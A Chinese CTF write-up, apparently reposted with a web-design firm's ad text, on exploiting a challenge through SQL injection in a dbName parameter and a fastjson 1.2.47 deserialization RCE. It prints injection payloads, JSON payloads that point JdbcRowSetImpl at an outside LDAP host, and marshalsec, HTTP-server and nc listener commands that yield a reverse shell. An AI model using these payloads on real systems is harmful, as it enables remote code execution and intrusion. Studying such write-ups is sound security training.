如何进行fastjson反序列化漏洞的分析
这期内容当中小编将会给大家带来有关如何进行fastjson反序列化漏洞的分析,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。
10年积累的网站设计制作、网站设计经验,可以快速应对客户对网站的新想法和需求。提供各种问题对应的解决方案。让选择我们的客户得到更好、更有力的网络服务。我虽然不认识你,你也不认识我。但先网站设计制作后付款的网站建设流程,更有嵊州免费网站建设让你可以放心的选择与我们合作。
0x01:写在前面
拿到题目后,一开始通过审计代码发现代码
审计发现一个注入,dbname我们可控
尝试注入
dbName=myapp#' and 1=2 union select name from myapp.user;# dbName=myapp#' and 1=2 union select pwd from myapp.user;#
注入处账户密码留作备用(后面思路转变为exp后发现 上面账号密码没有用)
admin
admin@Rrrr_ctf_asde
然后经过逆向注意到导入了
io.swagger.annotations.ApiOperation;
发现是个swagger
Swagger在平时日常工作中用过是个优秀的文档编辑器
那么直接访问swagger-ui.html
这里想到swagger还有fastjson库 可以将java对象转换成json
19年爆出很多rce漏洞。尝试进行查看
网上查询fastjson得知存在rce漏洞
这个文章真的写的非常详细,可以说是手把手教学
https://github.com/CaijiOrz/fastjson-1.2.47-RCE
看到如下
这里很符合fastjson的反序列化漏洞的json格式
访问得知如下
按着一步一步操作来,首先准备云服务器,并将仓库文件上传到云服务器中。
上传成功以后进行如下操作
首先进行测试
云服务器监听7777端口
在靶场执行
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://121.36.19.222:7777/Exploit","autoCommit":true}}}
发现有流量回显
那就继续按照文档往下做。
Cd进去进行查看
修改exploit.java的ip为云服务器ip
Javac Exploit.java编译执行后得到Exploit.class
继续进行按照如下步骤继续执行
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
http://121.36.19.222/#Exploit
执行成功如下所示,进行监听本地端口1389
python -m SimpleHTTPServer 80
Nc 监听本地的8888端口
提交payload
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://121.36.19.222:1389/Exploit","autoCommit":true}}}
执行后成功
成功弹到shell ,
执行cat /flag可以得到如下flag
0x02:总结
日常实战中,喜欢burp带上fastjson的检测脚本,遇到可疑的就发包检测一下。显示有漏洞就尝试payload打一下DNSlog试试回显,再进一步进行深挖。
上述就是小编为大家分享的如何进行fastjson反序列化漏洞的分析了,如果刚好有类似的疑惑,不妨参照上述分析进行理解。如果想知道更多相关知识,欢迎关注创新互联行业资讯频道。
分享标题:如何进行fastjson反序列化漏洞的分析
地址分享:http://azwzsj.com/article/gigpic.html